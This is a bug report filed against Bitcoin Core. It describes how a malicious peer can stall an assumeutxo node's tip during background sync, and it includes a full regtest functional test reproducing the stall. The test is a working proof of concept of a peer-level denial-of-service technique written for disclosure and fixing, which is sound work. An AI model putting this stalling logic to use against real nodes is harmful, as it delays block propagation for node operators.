Is there an existing issue for this?
- I have searched the existing issues
Current behaviour
If the user is background syncing for assumeutxo, a malicious peer can announce a backlog of 15 historical blocks for the background sync, then ultimately offer the 16th in the window as the next at-tip block. The victim node requests one block at a time starting with the oldest. At this point, the peer can emit 1 historical block every 10(or greater with more in-flight blocks) minute, causing a block stall of the at-tip block far beyond 10 minutes.
One thing to note is that during background sync, we aren't doing compact blocks or stale tip detection either, which can work around this gap otherwise.
Expected behaviour
The node should request the at-tip block promptly, ans disconnect from the peer after 10 minutes of not receiving the block.
Steps to reproduce
functional repro:
#!/usr/bin/env python3
# Copyright (c) 2026-present The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Demonstrate that one inbound peer can stall an assumeutxo node's tip and background sync.
While the background chainstate syncs:
- historical block download has no staller detection;
- a peer's block download timeout only watches its oldest in-flight block and is reset when that
block is delivered;
- no compact-block high-bandwidth peers are selected (BlockChecked requires nothing else in flight),
so a new tip block is only fetched from the peer that announced it first.
Peer A takes historical blocks, then announces a new block N first and gets the only request for
it. By delivering just its oldest historical block every 9 minutes, A keeps N in flight: the tip
stays behind while the honest peer has N and is never asked for it, and the background chainstate
advances one block per round. A is only timed out once N is its oldest in-flight block.
This test passes on master (the stall is asserted). A fix should make the asserts in the attack
loop fail: A disconnected (or N fetched elsewhere) within the first round.
"""
import time
from test_framework.messages import (
CBlock,
MSG_BLOCK,
MSG_WITNESS_FLAG,
from_hex,
msg_block,
msg_headers,
)
from test_framework.p2p import P2PInterface, p2p_lock
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal
from test_framework.wallet import MiniWallet
SNAPSHOT_BASE_HEIGHT = 299
ROUND = 9 * 60 # under the 10 minute block download timeout
class HoldingPeer(P2PInterface):
def __init__(self):
super().__init__()
self.requested = [] # block hashes in request order
def on_getdata(self, message):
self.requested += [i.hash for i in message.inv if i.type & ~MSG_WITNESS_FLAG == MSG_BLOCK]
def on_inv(self, message):
pass
class AssumeutxoStallTest(BitcoinTestFramework):
def set_test_params(self):
"""node0: honest full node. node1: assumeutxo node. node2: miner, only ever connected to node0."""
self.num_nodes = 3
self.rpc_timeout = 120
def setup_network(self):
self.add_nodes(3)
self.start_nodes()
def block(self, node, blockhash):
return from_hex(CBlock(), node.getblock(blockhash if isinstance(blockhash, str) else f"{blockhash:064x}", 0))
def header(self, node, blockhash):
b = self.block(node, blockhash)
b.vtx = []
return b
def background_tip(self):
chainstates = self.nodes[1].getchainstates()["chainstates"]
return chainstates[0]["blocks"] if len(chainstates) == 2 else None
def run_test(self):
n0, n1, n2 = self.nodes
self.log.info("Build the regtest snapshot chain (same recipe as feature_assumeutxo.py)")
wallet = MiniWallet(n0)
mocktime = n0.getblockheader(n0.getbestblockhash())["time"]
for n in self.nodes:
n.setmocktime(mocktime)
for i in range(100):
if i % 3 == 0:
wallet.send_self_transfer(from_node=n0)
self.generate(n0, nblocks=1, sync_fun=self.no_op)
if i == 4:
# Create a stale block so the snapshot chain matches chainparams.
tip = n0.getbestblockhash()
n0.invalidateblock(tip)
stale = self.generateblock(n0, output="raw(aaaa)", transactions=[], sync_fun=self.no_op)["hash"]
n0.invalidateblock(stale)
n0.reconsiderblock(tip)
assert_equal(n0.getblockcount(), SNAPSHOT_BASE_HEIGHT)
snapshot = n0.dumptxoutset("utxos.dat", "latest")
self.generate(n0, nblocks=60, sync_fun=self.no_op)
tip_height = n0.getblockcount()
self.log.info("node1 loads the snapshot and syncs the snapshot chain to the tip")
for h in range(1, tip_height + 1):
n1.submitheader(n0.getblock(n0.getblockhash(h), 0))
assert_equal(n1.loadtxoutset(snapshot["path"])["base_height"], SNAPSHOT_BASE_HEIGHT)
for h in range(SNAPSHOT_BASE_HEIGHT + 1, tip_height + 1):
n1.submitblock(n0.getblock(n0.getblockhash(h), 0))
assert_equal(n1.getblockcount(), tip_height)
assert_equal(self.background_tip(), 199)
self.connect_nodes(2, 0)
self.sync_blocks([n0, n2])
self.log.info("Attacker A connects first and is given historical blocks")
a = n1.add_p2p_connection(HoldingPeer())
a.send_without_ping(msg_headers([self.header(n0, n0.getbestblockhash())]))
self.wait_until(lambda: len(a.requested) >= 16)
self.log.info("The honest peer node0 connects and downloads every other historical block")
self.connect_nodes(1, 0)
self.wait_until(lambda: all(n1.getblockheader(n0.getblockhash(h)).get("nTx", 0) > 0 for h in (216, SNAPSHOT_BASE_HEIGHT)))
assert_equal(self.background_tip(), 199) # 200 is held by A
self.log.info("Normal tip following: node0 relays two blocks; node1 selects no high-bandwidth peer")
self.generate(n0, 2, sync_fun=lambda: self.sync_blocks([n0, n1, n2]))
assert not any(p["bip152_hb_to"] for p in n1.getpeerinfo())
self.log.info("A frees one slot, then announces new block N first")
with p2p_lock:
last = a.requested.pop()
a.send_without_ping(msg_block(self.block(n0, last)))
self.disconnect_nodes(2, 0)
N = self.generate(n2, 1, sync_fun=self.no_op)[0]
a.send_without_ping(msg_headers([self.header(n2, N)]))
self.wait_until(lambda: int(N, 16) in a.requested)
n_height = n2.getblockcount()
self.log.info("node0 learns N (and a later block) and announces them to node1")
self.connect_nodes(2, 0)
self.sync_blocks([n0, n2])
self.generate(n0, 1, sync_fun=self.no_op)
self.wait_until(lambda: n1.getblockheader(n0.getbestblockhash()).get("nTx", 0) > 0) # N+1 stored
with p2p_lock:
held = len([h for h in a.requested if h != int(N, 16)])
self.log.info(f"A holds N behind {held} historical blocks")
self.log.info("Attack: A delivers only its oldest historical block every 9 minutes")
start_bg = self.background_tip()
t = max(n.getblockheader(n.getbestblockhash())["time"] for n in (n0, n1))
for r in range(1, held + 1):
for mid in (120, 240): # let time pass inside the round so staller checks could fire
for n in self.nodes:
n.setmocktime(t + (r - 1) * ROUND + mid)
time.sleep(0.5)
for n in self.nodes:
n.setmocktime(t + r * ROUND)
with p2p_lock:
oldest = next(h for h in a.requested if h != int(N, 16))
a.requested.remove(oldest)
a.send_without_ping(msg_block(self.block(n0, oldest)))
a.sync_with_ping()
assert a.is_connected
assert_equal(n1.getblockcount(), n_height - 1) # tip stuck below N
assert_equal(n1.getbestblockhash(), n0.getblockhash(n_height - 1))
assert n0.getblockcount() > n_height # honest peer has N and more
if r < held:
assert_equal(self.background_tip(), start_bg + r) # background: one block per round
else:
assert_equal(self.background_tip(), None) # last held block: everything above was already stored
self.log.info(f"+{r * 9} min: node1 tip {n1.getblockcount()} vs network {n0.getblockcount()}, "
f"background tip {self.background_tip()}, A still connected")
self.log.info("N is now A's oldest in-flight block; withholding it finally trips the timeout")
for n in self.nodes:
n.setmocktime(t + (held + 2) * ROUND)
a.wait_for_disconnect()
self.wait_until(lambda: n1.getbestblockhash() == n0.getbestblockhash())
self.log.info(f"Tip was stalled for about {held * 9} minutes while an honest peer had the block")
if __name__ == "__main__":
AssumeutxoStallTest(__file__).main()
Relevant log output
No response
How did you obtain Bitcoin Core
Compiled from source
What version of Bitcoin Core are you using?
master@6c01bd0b2dc201c21e80ac3635828abf854ee5a0
Operating system and version
Ubuntu
Machine specifications
No response